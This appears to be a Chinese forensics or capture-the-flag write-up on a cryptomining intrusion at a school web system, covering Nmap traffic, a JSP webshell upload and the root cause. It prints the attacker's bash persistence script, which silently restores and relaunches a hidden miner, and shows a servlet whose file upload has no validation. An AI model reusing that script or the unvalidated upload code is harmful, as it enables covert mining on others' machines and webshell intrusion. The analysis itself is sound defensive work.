1. 学校挖矿病毒

第一个问题:最终使用nmap扫描的IP是?
排查 Nmap 的默认 HTTP 特征:http.user_agent contains "map"。



第二个问题:攻击者在web系统中注册的用户名是?
登录、注册这类功能一般是 HTTP POST 提交,直接定位注册 /servlet/user/register 路径。


第三个问题:最终成功控制主机的木马文件名是?
同样分析查看 POST 请求,发现存在两次文件上传行为,并且存在多次请求的 JSP 文件/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp,查看内容直接确定为 WebShell。


第四个问题:矿池地址是多少?
首先定位挖矿进程,/tmp/miner.jar,直接进行反编译查看。




第五个问题:后门程序的路径是?
排查计划任务,发现/usr/share/.per/persistence.sh。


检查挖矿进程是否启动,若进程不存在则启动。
#!/bin/bash
SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"
if pgrep -f "$PROCESS_NAME" > /dev/null; then
exit 0
else
echo "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"
if [ ! -f "$DEST_FILE" ]; then
echo "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"
cp "$SOURCE_FILE" "$DEST_FILE"
chmod +x "$DEST_FILE"
fi
if [ -f "$DEST_FILE" ]; then
nohup java -jar "$DEST_FILE" > /dev/null 2>&1 &
echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"
else
echo "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"
fi
fi修复:排查漏洞原因
找一下对 Tomcat 目录,定位漏洞路径/servlet/user/uploadAvatar 对应文件。find / -type d -name "*webapp*" 2>/dev/null。


没有对应路径文件,说明是是由代码指定,直接找 controller 目录,发现与之相关的 UserServlet。下载进行反编译分析,其调用FileUploadUtil.uploadFile()处理。


import com.school.util.FileUploadUtil;
// 省略其他
@WebServlet({"/servlet/user/*"})
public class UserServlet extends HttpServlet {
private static final long serialVersionUID = 1;
private UserDao userDao = new UserDao();
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 省略
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String action = request.getPathInfo();
if (action == null) {
action = "/login";
}
switch (action) {
// case xxx : 省略
case "/uploadAvatar":
uploadAvatar(request, response);
break;
default:
response.sendRedirect(request.getContextPath() + "/login.jsp");
break;
}
}
private void uploadAvatar(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
HttpSession session = request.getSession(false);
if (session == null || session.getAttribute("user") == null) {
// 省略,登录验证
}
User user = (User) session.getAttribute("user");
Map<String, Object> result = FileUploadUtil.uploadFile(request);
if (((Boolean) result.get("success")).booleanValue()) {
// 省略上传成功,更新数据库
}
// 省略返回
}
}下载反编译查看FileUploadUtil.uploadFile(request),没有任何的文件校验措施,进而可以任意文件上传。
